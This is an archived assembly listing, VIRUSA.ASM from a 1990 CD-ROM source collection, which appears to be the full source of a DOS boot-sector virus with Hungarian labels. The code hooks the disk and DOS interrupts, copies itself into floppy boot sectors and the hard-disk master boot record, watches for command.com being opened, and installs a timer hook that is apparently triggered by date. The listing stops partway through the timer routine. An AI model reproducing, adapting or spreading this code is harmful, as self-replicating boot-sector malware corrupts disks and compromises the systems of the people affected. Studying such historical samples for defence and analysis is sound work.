home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIRUSA.ASM < prev    next >
Assembly Source File  |  1990-04-17  |  18KB  |  1,204 lines

  1. start    segment
  2.     assume cs:start,ds:start
  3.     org    100h
  4. boot    equ    0f00h
  5. kezd:    db 52h,24h
  6.     jmp    hideg
  7.     nop
  8.     jmp    meleg
  9.     nop
  10.     jmp    tamad
  11. veg1:    dw     0
  12. kezd1:    dw    0
  13. meleg:    pop    si
  14.     pop    ds
  15.     pop    [si]
  16.     pop    [si+2]
  17.     mov    si,boot
  18.     mov    di,7c00h
  19.     push    cs
  20.     pop    ds
  21.     xor    ax,ax
  22.     mov    es,ax
  23.     mov    cx,100h
  24.     pushf
  25.     cld
  26.     rep    movsw
  27.     popf
  28. ok1:    db    0eah,00,7ch,0,0
  29. hideg:    xor    ax,ax
  30.     push    si
  31.     push    di
  32.     push    cx
  33.     cld
  34.     mov    di,offset flag1
  35.     mov    si,offset flagv
  36. awq:    stosb
  37.     cmp    di,si
  38.     jc    awq
  39.     pop    cx
  40.     pop    di
  41.     pop    si
  42.     mov    es,ax
  43.     mov    ax,es:word ptr [4ch]
  44.     mov    cs:word ptr [int13+1],ax
  45.     mov    ax,es:word ptr [4eh]
  46.     mov    cs:word ptr [int13+3],ax
  47.     mov    ax,offset it13
  48.     mov    es:word ptr [4ch],ax
  49.     mov    es:[4eh],cs
  50.     mov    ax,es:word ptr [84h]
  51.     mov    cs:word ptr [int21+1],ax
  52.      mov    ax,es:word ptr [86h]
  53.     mov    cs:word ptr [int21+3],ax
  54.     mov    ax,0f000h
  55.     mov    es,ax
  56.     mov    al,es:byte ptr[0fff0h]
  57.     cmp    al,0eah
  58.     jnz    meleg
  59.     mov    ax,es:word ptr[0fff1h]
  60.     mov    cs:word ptr [reset+1],ax
  61.     mov    ax,es:word ptr[0fff3h]
  62.     mov    cs:word ptr [reset+3],ax
  63.     jmp    meleg
  64. int13:    db    0eah,0,0,0,0
  65. int21:    db    0eah,0,0,0,0
  66. int40:    db    0eah,0,0,0,0
  67. flag1:    db    0
  68. flag2:    db    0
  69. flag3:    db    0
  70. flag4:    dw    0
  71. flag5:    db    0
  72. flagv    db    0
  73. egys:    db    0
  74. sub13:    cmp    dl,0
  75.     jz    sub40
  76. visx:    pushf
  77.     push    cs
  78.     mov    dl,cs:byte ptr [egys]
  79.     call    int13
  80.     ret
  81. sub40:    push    ax
  82.     mov    al,cs:byte ptr [flag5]
  83.     cmp    al,80
  84.     pop    ax
  85.     jmp    visx
  86.     pushf
  87.     push    cs
  88.     call    int40
  89.     ret
  90. subru:    push    ax
  91.     push    cx
  92.     push    dx
  93.     push    ds
  94.     xor    ax,ax
  95.     mov    ds,ax
  96.     mov    ax,ds:word ptr [78h]
  97.     mov    cs:word ptr [int1e],ax
  98.     mov    ax,ds:word ptr [7ah]
  99.     mov    cs:word ptr [int1e+2],ax
  100.     mov    al,cs:byte ptr [sav]
  101.     cmp    al,28h
  102.     jz    dds
  103.     mov    bx,offset hdtbl
  104.     jmp    hds
  105. dds:    mov    bx,offset dstbl
  106.     mov    cx,offset tb360
  107.     jmp    okea
  108. hds:    mov    ax,cs:word ptr [szekt]
  109.     mov    cx,offset tb12
  110.     cmp    ax,0fh
  111.     jz    okea
  112.     mov    cx,offset tb720
  113.     cmp    ax,9
  114.     jz    okea
  115.     mov    cx,offset tb14
  116. okea:    mov    ds:word ptr [78h],cx
  117.     mov    ds:word ptr [7ah],cs
  118.     pop    ds
  119.     pop    dx
  120.     pop    cx
  121.     pop    ax
  122.     call    sub13
  123.     push    ax
  124.     push    cx
  125.     push    dx
  126.     push    ds
  127.     pushf
  128.     xor    ax,ax
  129.     mov    ds,ax
  130.     mov    ax,cs:word ptr [int1e]
  131.     mov    ds:word ptr [78h],ax
  132.     mov    ax,cs:word ptr [int1e+2]
  133.     mov    ds:word ptr [7ah],ax
  134.     popf
  135.     pop    ds
  136.     pop    dx
  137.     pop    cx
  138.     pop    ax
  139.     ret
  140. sub21:    pushf
  141.     push    cs
  142.     call    int21
  143.     ret    
  144. it21:    cmp    ah,3dh
  145.     jnz    fu3e
  146.     push    bx
  147.     push    cx
  148.     push    ax
  149.     push    dx
  150.     push    es
  151.     push    ds
  152.     mov    bx,dx
  153. cikl1:    mov    al,[bx]
  154.     cmp    al,0
  155.     jz    veg
  156.     inc    bx
  157.     jmp    cikl1
  158. veg:    push    si
  159.     mov    si,offset nev
  160.     dec    bx
  161.     dec    si
  162.     mov    cx,11
  163. cikl2:    mov    al,[bx]
  164.     or    al,20h
  165.     cmp    al,cs:[si]
  166.     jz    nem4
  167.     jmp    nem1
  168. nem4:    dec    si
  169.     dec    bx
  170.     loop    cikl2
  171.     pop    si
  172.     pop    ds
  173.     pop    es
  174.     pop    dx
  175.     pop    ax
  176.     pop    cx
  177.     pop    bx
  178.     call    sub21
  179.     jnc    igen1
  180.     retf    2
  181. igen1:    mov    cs:word ptr [flag4],ax
  182. nem2:    clc
  183.     retf    2
  184. fu3e:    cmp    ah,3eh
  185.     jz    aah
  186.     jmp    int21
  187. aah:    cmp    bx,cs:word ptr [flag4]
  188.     jz    folyt8
  189.     jmp    int21
  190. folyt8:    cmp    cs:word ptr [flag4],0
  191.     jnz    folyt9
  192.     jmp    int21
  193. folyt9:    mov    cs:word ptr [flag4],0
  194.     call    sub21
  195.     push    ds
  196.     push    es
  197.     push    ax
  198.     push    bx
  199.     push    cx
  200.     push    dx
  201.     mov    cs:byte ptr [fo],0
  202. ujfo:    mov    bx,200h
  203.     mov    ah,48h
  204.     call    sub21
  205.     cmp    bx,200h
  206.     jnc    fogl
  207. nem3:    pop    dx
  208.     pop    cx
  209.     pop    bx
  210.     pop    ax
  211.     pop    es
  212.     pop    ds
  213.     retf    2
  214. fo:    db    0
  215. fogl:    push    ax
  216.     and    ax,0fffh
  217.     cmp    ax,0db0h
  218.     jc    okes1
  219.     pop    ax
  220.     cmp    cs:byte ptr [fo],3
  221.     jz    nem3
  222.     inc    cs:byte ptr [fo]
  223.     jmp    ujfo
  224. okes1:    pop    ax
  225. okes:    mov    es,ax
  226.     mov    cs:word ptr [szegm],ax
  227.     mov    si,0
  228.     mov    di,0
  229.     mov    cx,1000h
  230.     push    cs
  231.     pop    ds
  232.     pushf
  233.     cld
  234.     rep    movsw
  235.     popf
  236.     xor    ax,ax
  237.     mov    ds,ax
  238.     mov    ax,0
  239.     mov    ds,ax
  240.     mov    ax,offset it21
  241.     mov    dx,cs
  242.     mov    bx,0
  243.     mov    cx,0fff0h
  244. tovabb:    call    keres
  245.     jnz    nincs
  246.     push    ax
  247.     mov    ax,cs:word ptr [int21+1]
  248.     mov    ds:word ptr [bx],ax
  249.     mov    ax,cs:word ptr [int21+3]
  250.     mov    ds:word ptr [bx+2],ax
  251.     pop    ax
  252.     jmp    tovabb
  253. reset:    db    0eah,0f0h,0ffh,0,0f0h
  254. nincs:    mov    ax,offset it13
  255.     mov    dx,cs
  256.     mov    bx,0
  257.     mov    cx,0fff0h
  258. tovab1:    call    keres
  259.     jnz    kil2
  260.     push    ax
  261.     mov    ax,es
  262.     mov    ds:word ptr [bx+2],ax
  263.     pop    ax
  264.     jmp    tovab1    
  265. kil2:    mov    ax,0
  266.     mov    ds,ax
  267.     mov    ax,ds:word ptr [100h]
  268.     mov    es:word ptr [int40+1],ax
  269.     mov    ax,ds:word ptr [102h]
  270.     mov    es:word ptr [int40+3],ax
  271.     call    beszur
  272.     mov    ax,offset it40
  273.     jmp    nem3
  274.     mov    ds:word ptr [100h],ax
  275.     mov    ax,es
  276.     mov    ds:word ptr [102h],ax
  277.     mov    es:byte ptr [flag5],80
  278.     jmp    nem3
  279. keres:    push    ax
  280.     push    dx
  281. ker1:    cmp    word ptr[bx],ax
  282.     jz    van1
  283. nincs1:    inc    bx
  284.     loop    ker1
  285.     inc    cx
  286. kil1:    pop    dx
  287.     pop    ax
  288.     ret
  289. van1:    cmp    word ptr [bx+2],dx
  290.     jnz    nincs1
  291.     jmp    kil1
  292. nem1:    pop    si
  293.     pop    ds
  294.     pop    es
  295.     pop    dx
  296.     pop    ax
  297.     pop    cx
  298.     pop    bx
  299.     jmp    int21
  300.     db    'command.com'
  301. nev:    db    0
  302. it13:    push    bx
  303.     push    ax
  304.     push    cx
  305.     push    dx
  306.     push    es
  307.     push    ds
  308.     push    di
  309.     push    si
  310.     push    cs
  311.     pop    ds
  312.     push    cx
  313.     push    ax
  314.     push    dx
  315.     mov    bx,offset atir
  316.     mov    cx,2
  317. erdf:    call    ftr
  318.     jc    poiu
  319.     loop    erdf
  320.     jmp    reset
  321. ftr:    mov    al,90h
  322.     clc
  323.     mov    [bx],al
  324. atir:    stc
  325.     nop
  326.     nop
  327.     nop
  328.     nop
  329.     nop
  330.     nop
  331.     nop
  332.     mov    al,0f9h
  333.     mov    [bx],al
  334.     ret
  335. poiu:    pop    dx
  336.     pop    ax
  337.     pop    cx
  338.     cmp    cs:byte ptr [mod1],1
  339.     jnz    awsw
  340.     jmp    leol
  341. awsw:    mov    cs:byte ptr [egys],dl
  342.     cmp    ah,2
  343.     jc    aab
  344.     cmp    ah,4
  345.     jnc    aab
  346.     cmp    cx,3
  347.     jnc    aab
  348.     cmp    dh,0
  349.     jnz    aab
  350.     mov    cs:byte ptr [flag3],80h
  351. aab:    mov    al,cs:byte ptr [flag1]
  352.     cmp    al,80h
  353.     jz    ugr1
  354.     xor    ax,ax
  355.     mov    es,ax
  356.     mov    ax,es:word ptr [84h]
  357.     cmp    ax,cs:word ptr [int21+1]
  358.     jz    tov1
  359.     jmp    dos
  360. tov1:    mov    ax,es:word ptr [86h]
  361.     cmp    ax,cs:word ptr [int21+3]
  362.     jz    ugr1
  363.     jmp    dos
  364. ugr1:    cmp    di,55aah
  365.     jnz    norm
  366.     cmp    si,5aa5h
  367.     jnz    norm
  368.     pop    si
  369.     mov    si,0a55ah
  370.     push    si
  371. norm:    cmp    dl,20h
  372.     jc    lemeza
  373.     cmp    dl,80h
  374.     jz    win
  375. fdg:    jmp    kilep
  376. win:    jmp    wincsi
  377. it40:    jmp    int40
  378. lemeza:    mov    al,cs:byte ptr [flag3]
  379.     cmp    al,80h
  380.     jz    lcsere
  381.     cmp    ah,5
  382.     jnz    haha1
  383. haha2:    mov    cs:byte ptr [flag3],84h
  384.     jmp    haha
  385. haha1:    cmp    al,0
  386.     jz    haha
  387.     dec    cs:byte ptr [flag3]
  388. haha:    jmp    kilepo
  389. hah1:    call    sub13
  390.     jnc    viter1
  391. idt:    cmp    ah,6
  392.     jnz    viter
  393.     mov    cs:byte ptr [flag3],80h
  394. viter:    stc
  395. viter1:    retf    2
  396. lcsere:    mov    cs:byte ptr [flag2],0
  397.     cmp    ah,5
  398.     jz    haha2
  399.     mov    cx,3
  400. cikl7:    push    cx
  401.     mov    cs:byte ptr [flag3],0
  402.     mov    bx,boot+200h
  403.     mov    ax,201h
  404.     mov    cx,1
  405.     mov    dx,0
  406.     push    cs
  407.     pop    es
  408.     call    sub13
  409.     pop    cx
  410.     jnc    ugr4
  411.     loop    cikl7
  412.     jmp    kilep
  413. ugr4:    push    cs
  414.     pop    ds
  415.     mov    bx,boot+200h
  416.     mov    cx,200h
  417.     mov    ax,0cdfbh
  418.     mov    dx,7213h
  419.     call    keres
  420.     jz     folyt1
  421.     jmp    kilep
  422. folyt1:    mov    cs:byte ptr [fert],1
  423.     mov    ax,[bx+5]
  424.     cmp    ax,12cdh
  425.     mov    cs:word ptr [cime],bx
  426.     mov    cs:word ptr[wax],308h
  427.     jz    foi
  428.     jmp    folyt2
  429. foi:    mov    al,cs:[bx+5+offset ver1-offset kezd2]
  430.     cmp    al,23
  431.     jnz    meh
  432.     mov    ax,cs:[bx+6+offset ver1-offset kezd2]
  433.     cmp    ax,word ptr ver1+1
  434.     jnc    kilepo
  435. meh:    mov    cs:word ptr [wax],307h
  436.     jmp    folyt2
  437. fert:    db    0,0
  438. kilepo:    pop    si
  439.     pop    di
  440.     pop    ds
  441.     pop    es
  442.     pop    dx
  443.     pop    cx
  444.     pop    ax
  445.     pop    bx
  446.     cmp    dh,0
  447.     jz    ugs
  448.     jmp    hah1
  449. ugs:    cmp    cx,1
  450.     jz    bout1
  451.     jmp    hah1
  452. bout1:    cmp    ah,2
  453.     jz    bout
  454.     cmp    ah,3
  455.     jz    save
  456.     jmp    hah1
  457. bout:    call    sub13
  458.     jnc    ada
  459.     jmp    idt
  460. ada:    cmp    cs:byte ptr [flag1],80h
  461.     jz    ase
  462.     jmp    hah1
  463. ase:    push    si
  464.     pushf
  465.     mov    si,offset bot1
  466.     call    ase1
  467.     popf
  468.     pop    si
  469.     jmp    viter1
  470. save:    cmp    cs:byte ptr [fert],1
  471.     jz    save2
  472.     jmp    kif
  473. save2:    mov    cs:byte ptr [fert],0
  474.     push    bx
  475.     push    ax
  476.     push    cx
  477.     push    dx
  478.     push    es
  479.     push    ds
  480.     push    di
  481.     push    si
  482.     push    es
  483.     pop    ds
  484.     push    cs
  485.     pop    es
  486.     mov    cx,200h
  487.     mov    si,bx
  488.     mov    di,offset boot+200h
  489.     rep    movsb
  490.     jmp    folyt3
  491. kif:    pop    bx
  492.     pop    cx
  493.     pop    cx
  494.     pop    dx
  495.     pop    es
  496.     pop    ds
  497.     pop    di
  498.     pop    si
  499.     clc
  500.     jmp    viter1
  501. ase1:    push    bx
  502.     push    ax
  503.     push    cx
  504.     push    dx
  505.     push    di
  506.     push    ds
  507.     push    cs
  508.     pop    ds
  509.     mov    ax,cs:word ptr [cime]
  510.     and    ax,0ffh
  511.     add    bx,ax
  512.     mov    di,bx
  513.     mov    cx,59h
  514.     pushf
  515.     cld
  516.     rep    movsb
  517.     popf
  518.     pop    ds
  519.     pop    di
  520.     pop    dx
  521.     pop    cx
  522.     pop    ax
  523.     pop    bx
  524.     clc
  525.     ret
  526. folyt2:    mov    bx,boot+200h
  527.     mov    ax,301h
  528.     mov    cx,1
  529.     mov    dx,0
  530.     push    cs
  531.     pop    es
  532.     call    sub13
  533.     jnc    folyt3
  534.     jmp    kilep
  535. folyt3:    push    cs
  536.     pop    ds
  537.     mov    bx,boot+200h
  538.     mov    ax,[bx+18h]
  539.     mov    cs:word ptr [szekt],ax
  540.     mov    cx,[bx+1ah]
  541.     mul    cx
  542.     mov    cx,ax
  543.     mov    ax,[bx+13h]
  544.     mov    dx,0
  545.     div    cx
  546.     mov    cs:byte ptr [sav],al
  547.     mov    ch,al
  548.     mov    al,1
  549. ugr3:    nop
  550.     mov    cl,5
  551.     mov    ah,5
  552.     push    cs
  553.     pop    es
  554.     mov    dx,0
  555.     push    cx
  556.     cmp    cs:word ptr [wax],307h
  557.     clc
  558.     jz    waxi
  559.     cmp    cs:byte ptr [fert],0
  560.     clc
  561.     jz    waxi
  562.     call    subru
  563. waxi:    push    ds
  564.     push    ax
  565.     pop    ax
  566.     pop    ds
  567.     pop    cx
  568.     jnc    jo4
  569.     jmp    kilep
  570. sav:    db    0
  571. wax:    dw    0
  572. szekt:    dw    0
  573. jo4:    mov    si,boot+200h
  574.     mov    di,boot
  575.     push    cs
  576.     pop    ds
  577.     push    cx
  578.     mov    cx,100h
  579.     pushf
  580.     cld
  581.     rep     movsw
  582.     popf
  583.     pop    cx
  584.     push    cx
  585.     mov    ax,cs:word ptr [wax]
  586.     mov    dx,0
  587.     mov    cl,1
  588.     mov    bx,100h
  589.     cmp    cs:byte ptr [fert],0
  590.     clc
  591.     jz    hoho
  592.     call    sub13
  593. hoho:    pop    cx
  594.     jnc    jo2
  595.     jmp    kilep
  596. jo2:    push    cs
  597.     pop    ds
  598.     push    cx
  599.     mov    bx,boot+200h
  600.     mov    ax,0cdfbh
  601.     mov    dx,7213h
  602.     mov    cx,200h
  603.     call    keres
  604.     pop    cx
  605.     jz    jo3
  606.     jmp    kilep
  607. jo3:    push    bx
  608.     push    cx
  609.     mov    cx,100h
  610.     mov    ax,0e432h
  611.     mov    dx,16cdh
  612.     call    keres
  613.     jz    jo5
  614.     pop    cx
  615.     pop    bx
  616.     jmp    kilep
  617. jo5:    sub    bx,6
  618.     mov    cs:word ptr [veg1],bx
  619.     pop    cx
  620.     pop    bx
  621.     add    bx,5
  622.     mov    cs:word ptr [kezd1],bx
  623.     mov    cs:byte ptr [fej+2],ch
  624.     push    cx
  625.     mov    si,offset kezd2
  626.     mov    bx,cs:word ptr [kezd1]
  627.     mov    cx,offset veg2-offset kezd2
  628.     push    cs
  629.     pop    ds
  630. cikl9:    mov    al,[si]
  631.     mov    [bx],al
  632.     inc    bx
  633.     inc    si
  634.     loop    cikl9
  635. cikl10:    mov    ds:byte ptr [bx],90h
  636.     inc    bx
  637.     cmp    bx,cs:word ptr [veg1]
  638.     jc    cikl10
  639.     pop    cx
  640.     mov    cx,3
  641. wqe:    push    cx
  642.     mov    cx,1
  643.     mov    dx,0
  644.     mov    ax,301h
  645.     mov    bx,boot+200h
  646.     push    cs
  647.     pop    es
  648.     call    sub13
  649.     jc    kikk
  650.     pop    cx
  651.     cmp    cs:byte ptr [fert],0
  652.     jnz    kig
  653.     jmp    kif
  654. kig:    jmp    kilepo
  655. kikk:    pop    cx
  656.     loop    wqe
  657.     jmp    kilep
  658. dos:    nop
  659.     mov    al,80h
  660.     mov    cs:byte ptr [flag1],al
  661.     mov    ax,es:word ptr [84h]
  662.     mov    cs:word ptr [int21+1],ax
  663.     mov    ax,es:word ptr [86h]
  664.     mov    cs:word    ptr [int21+3],ax
  665.     mov    ax,offset it21
  666.     mov    es:word ptr [84h],ax
  667.     mov    es:[86h],cs
  668. kilep:    pop    si
  669.     pop    di
  670.     pop    ds
  671.     pop    es
  672.     pop    dx
  673.     pop    cx
  674.     pop    ax
  675.     pop    bx
  676.     jmp    int13
  677. tamad:    push    cs
  678.     pop    ds
  679.     mov    cs:word ptr [szama],28800
  680.     xor    ax,ax
  681.     push    si
  682.     push    di
  683.     push    cx
  684.     cld
  685.     mov    di,offset flag1
  686.     mov    si,offset flagv
  687. alsk:    stosb
  688.     cmp    di,si
  689.     jc    alsk
  690.     pop    cx
  691.     pop    di
  692.     pop    si
  693.     mov    es,ax
  694.     mov    cs:byte ptr[flag1],80h
  695.     mov    ax,es:word ptr [4ch]
  696.     mov    cs:word ptr [int13+1],ax
  697.     mov    ax,es:word ptr [4eh]
  698.     mov    cs:word ptr [int13+3],ax
  699.     mov    ax,offset it13
  700.     mov    es:word ptr[4ch],ax
  701.     mov    es:word ptr[4eh],cs
  702.     mov    ax,201h
  703.     mov    bx,offset boot+400h
  704.     push    cs
  705.     pop    es
  706.     mov    dx,180h
  707.     mov    cx,1
  708.     int    13h
  709.     mov    ax,0
  710.     mov    es,ax
  711.     mov    ax,cs:word ptr [int13+1]
  712.     mov    es:word ptr[4ch],ax
  713.     mov    ax,cs:word ptr [int13+3]
  714.     mov    es:word ptr[4eh],ax
  715.     mov    ax,0f000h
  716.     mov    es,ax
  717.     mov    al,es:byte ptr [0fff0h]
  718.     cmp    al,0eah
  719.     jnz    akdj
  720.     mov    ax,es:word ptr [0fff1h]
  721.     mov    cs:word ptr [reset+1],ax
  722.     mov    ax,es:word ptr [0fff3h]
  723.     mov    cs:word ptr [reset+3],ax
  724. akdj:    retf
  725. kezd2:    int    12h
  726.     mov    bx,40h
  727.     mul    bx
  728.     sub    ax,1000h
  729.     mov    es,ax
  730.     mov    dx,0
  731.     jmp    fej
  732. ver1:    db    23,0,6
  733. fej:    mov    cx,2801h
  734.     mov    ax,208h
  735.     mov    bx,100h
  736.     push    bx
  737.     cmp    es:word ptr [bx],2452h
  738.     jz    el1
  739.     int    13h
  740.     pop    bx
  741.     jc    veg2
  742.     push    es
  743.     mov    ax,102h
  744. el2:    push    ax
  745.     retf
  746. el1:    mov    bx,0f00h
  747.     mov    al,1
  748.     mov    cl,8
  749.     int    13h
  750.     pop    bx
  751.     jc    veg2
  752.     push    es
  753.     mov    ax,105h
  754.     jmp    el2
  755. veg2:    nop
  756.     nop
  757. wincsi:    jmp    aba
  758. aasw:    mov    al,cs:byte ptr [flag2]
  759.     cmp    al,80h
  760.     jz    cxz
  761.     jmp    kilep
  762. cxz:    pop    si
  763.     pop    di
  764.     pop    ds
  765.     pop    es
  766.     pop    dx
  767.     pop    cx
  768.     pop    ax
  769.     pop    bx
  770.     cmp    ch,0
  771.     jz    acb
  772.     jmp    abbb
  773. acb:    cmp    cl,0ah
  774.     jc    acd
  775.     jmp    abbb
  776. acd:    cmp    dh,0
  777.     jz    ace
  778.     jmp    abbb
  779. ace:    cmp    ah,3
  780.     jnz    abe
  781.     mov    cs:byte ptr [flag2],0
  782. abb:    push    ax
  783.     push    bx
  784.     push    cx
  785.     push    dx
  786.     mov    dx,80h
  787.     mov    ax,201h
  788.     mov    cx,9
  789.     mov    bx,offset boot+200h
  790.     push    es
  791.     push    cs
  792.     pop    es
  793.     mov    dx,80h
  794.     call    sub13
  795.     jc    aca
  796.     mov    ax,301h
  797.     mov    cx,1
  798.     mov    dx,80h
  799.     mov    bx,offset boot+200h
  800.     call    sub13
  801. aca:    pop    es
  802.     pop    dx
  803.     pop    cx
  804.     pop    bx
  805.     pop    ax
  806. abbb:    call    sub13
  807.     jmp    viter1
  808. abe:    cmp    ah,2
  809.     jnz    abbb
  810.     push    di
  811.     push    cx
  812.     push    dx
  813.     push    bx
  814.     push    ax
  815.     push    ax
  816.     mov    ah,0
  817.     mov    di,ax
  818.     pop    ax
  819. abj:    push    cx
  820.     cmp    cl,1
  821.     jnz    abh
  822.     mov    cl,9
  823.     jmp    abi
  824. abh:    mov    cx,0ah
  825. abi:    push    bx
  826.     push    di
  827.     mov    al,1
  828.     push    es
  829.     mov    ah,2
  830.     call    sub13
  831.     pop    es
  832.     pop    di
  833.     pop    bx
  834.     pop    cx
  835.     jc    abk
  836.     add    bx,200h
  837.     mov    cl,2
  838.     dec    di
  839.     jnz    abj
  840.     pop    ax
  841.     mov    ah,0
  842.     pop    bx
  843.     pop    dx
  844.     pop    cx
  845.     pop    di
  846.     clc
  847.     jmp    viter1
  848. abk:    pop    bx
  849.     pop    bx
  850.     pop    dx
  851.     pop    cx
  852.     pop    di
  853.     mov    al,0
  854.     jmp    viter1
  855. aba:    mov    al,cs:byte ptr [flag2]
  856.     cmp    al,80h
  857.     jnz    abc
  858.     jmp    aasw
  859. abc:    cmp    al,40h
  860.     jnz    abw
  861.     jmp    aasw
  862. abw:    mov    cx,3
  863. ckld:    push    cx
  864.     mov    dx,80h
  865.     mov    cx,1
  866.     mov    bx,offset boot
  867.     mov    ax,201h
  868.     push    cs
  869.     pop    es
  870.     call    sub13
  871.     pop    cx
  872.     jnc    abdq
  873.     loop    ckld
  874. kias:    jmp    aasw
  875. abdq:    mov    dx,180h
  876.     mov    cx,1
  877.     mov    bx,offset boot+200h
  878.     mov    ax,201h
  879.     push    cs
  880.     pop    es
  881.     call    sub13
  882.     jc    kias
  883.     mov    bx,offset boot+200h
  884.     mov    ax,cs:[bx+1feh]
  885.     cmp    ax,0aa55h
  886.     jz    abd
  887.     mov    cs:byte ptr [flag2],40h
  888.     jmp    kias
  889. abd:    push    cs
  890.     pop    ds
  891.     mov    cx,3
  892.     mov    bx,offset boot
  893.     mov    si,offset kezd3
  894. kere:    mov    al,[bx]
  895.     cmp    al,[si]
  896.     jnz    nem9
  897.     inc    bx
  898.     inc    si
  899.     loop    kere
  900.     sub    bx,3
  901.     add    bx,offset ver2-kezd3
  902.     mov    al,[bx]
  903.     cmp    al,23
  904.     jnz    nemq
  905.     mov    ax,[si+offset ver2-offset kezd3]
  906.     cmp    ax,[bx+1]
  907.     jc    nemr
  908. nemq:    mov    ax,307h
  909.     jmp    nemw
  910. nemr:    mov    cs:byte ptr [flag2],80h
  911.     jmp    aasw
  912. nem9:    mov    ax,308h
  913. nemw:    mov    dx,80h
  914.     mov    cx,2
  915.     mov    bx,100h
  916.     call    sub13
  917.     jnc    oby
  918.     jmp    aasw
  919. oby:    mov    si,offset kezd3
  920.     mov    cx,offset veg3-offset kezd3
  921.     mov    di,offset boot
  922.     pushf
  923.     cld
  924.     rep     movsb
  925.     popf
  926.     mov    ax,301h
  927.     mov    dx,80h
  928.     mov    cx,01h
  929.     mov    bx,offset boot
  930.     call    sub13
  931.     mov    cs:byte ptr [flag2],80h
  932.     jmp    aasw
  933. kezd3:    int    12h
  934.     mov    bx,40h
  935.     mul    bx
  936.     sub    ax,1000h
  937.     mov    es,ax
  938.     xor    ax,ax
  939.     jmp    ugas
  940. ver2:    db    23,0,6
  941. ugas:    mov    ss,ax
  942.     mov    sp,7c00h
  943.     mov    dx,80h
  944.     mov    cx,02h
  945.     mov    ax,208h
  946.     mov    bx,100h
  947.     push    bx
  948.     cmp    es:word ptr [bx],2452h
  949.     jz    el11
  950.     int    13h
  951.     pop    bx
  952.     jc    vege
  953.     push    es
  954.     mov    ax,102h
  955. el21:    push    ax
  956.     retf
  957. el11:    mov    bx,0f00h
  958.     mov    al,1
  959.     mov    cl,9
  960.     int    13h
  961.     pop    bx
  962.     jc    vege
  963.     push    es
  964.     mov    ax,105h
  965.     jmp    el21
  966. vege:    jmp    vege    ;szoveg kiiratasa
  967. veg3:    nop
  968.     nop
  969. cime:    dw    0
  970. bot1:    sti
  971.     int    13h
  972.     db    72h,67h
  973.     mov    al,ds:[7c10h]
  974.     cbw
  975.     mul    ds:word ptr [7c16h]
  976.     add    ax,ds:[7c1ch]
  977.     add    ax,ds:[7c0eh]
  978.     mov    ds:[7c3fh],ax
  979.     mov    ds:[7c37h],ax
  980.     mov    ax,20h
  981.     mul    ds:word ptr [7c11h]
  982.     mov    bx,ds:[7c0bh]
  983.     add    ax,bx
  984.     dec    ax
  985.     div    bx
  986.     add    ds:[7c37h],ax
  987.     mov    bx,0500h
  988.     mov    ax,ds:[7c3fh]
  989.     db    0e8h,09fh,0
  990.     mov    ax,201h
  991.     db    0e8h,0b3h,0,72h,19h
  992.     mov    di,bx
  993.     mov    cx,0bh
  994.     mov    si,7dd6h
  995.     repz    cmpsb
  996.     db    75h,0dh
  997.     lea    di,ds:[bx+20h]
  998.     mov    si,7d1eh
  999.     mov    cx,0bh
  1000.     repz    movsb
  1001.     db    74h,18h
  1002.     db    0,0,0,0,0,0,0,0,0,0,0,0
  1003. tb12:    db    0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4
  1004. tb720:    db    0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5
  1005. tb360:    db    0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3
  1006. tb14:    db    0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7
  1007. int1e:    dw    0,0,0,0,0,0,0,0
  1008. hdtbl:    db    50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2
  1009.     db    50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2
  1010. dstbl:    db    28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2
  1011. mod2:    db    0
  1012. mod1:    db    0
  1013. beszur:    push    ax
  1014.     push    bx
  1015.     push    cx
  1016.     push    dx
  1017.     push    es
  1018.     push    ds
  1019.     push    di
  1020.     push    si
  1021.     mov    ax,201h
  1022.     mov    cx,0ah
  1023.     mov    bx,offset boot
  1024.     mov    dx,80h
  1025.     push    cs
  1026.     pop    es
  1027.     pushf
  1028.     push    cs
  1029.     call    int13
  1030.     mov    es,cs:word ptr [szegm]
  1031.     mov    es:word ptr [mod2],0
  1032.     jc    hib
  1033.     mov    ax,cs:word ptr [boot]
  1034.     cmp    al,23h
  1035.     jnz    hib
  1036.     mov    es:byte ptr [mod2],ah
  1037.     jmp    hib
  1038. hib:    mov    es,cs:word ptr[szegm]
  1039.     mov    bx,offset kiiras
  1040.     mov    cx,offset kiirv-offset kiiras
  1041.     mov    al,es:[bx]
  1042.     cmp    al,20h
  1043.     jnz    hib1
  1044. cijk:    mov    al,es:[bx]
  1045.     xor    al,45h
  1046.     mov    es:[bx],al
  1047.     inc    bx
  1048.     loop    cijk
  1049. hib1:    mov    ch,25h
  1050.     mov    ah,4
  1051.     int    1ah
  1052.     jc    friss
  1053.     cmp    cl,89h
  1054.     jc    friss
  1055.     cmp    ch,25h
  1056.     jz    bete
  1057.     cmp    dh,7
  1058.     jnc    bete
  1059.     jmp    nbete
  1060. friss:    mov    al,54h
  1061.     out    43h,al
  1062.     mov    al,0ffh
  1063.     out    41h,al
  1064.     jmp    nbete
  1065. bete:    cmp    es:byte ptr [mod2],2
  1066.     jz    nbete
  1067.     mov    ax,0
  1068.     mov    ds,cs:word ptr [szegm]
  1069.     mov    es,ax
  1070.     mov    ax,es:word ptr[70h]
  1071.     mov    ds:word ptr [tim+1],ax
  1072.     mov    ax,es:word ptr[72h]
  1073.     mov    ds:word ptr [tim+3],ax
  1074.     mov    ax,offset timer
  1075.     mov    es:word ptr [70h],ax
  1076.     mov    ax,cs:word ptr [szegm]
  1077.     mov    es:word ptr [72h],ds
  1078. nbete:    pop    si
  1079.     pop    di
  1080.     pop    ds
  1081.     pop    es
  1082.     pop    dx
  1083.     pop    cx
  1084.     pop    bx
  1085.     pop    ax
  1086.     ret
  1087. szegm:    dw    0,0
  1088. tim:    db    0eah,0,0,0,0,0
  1089. szama:    dw    28800
  1090. timer:    pushf
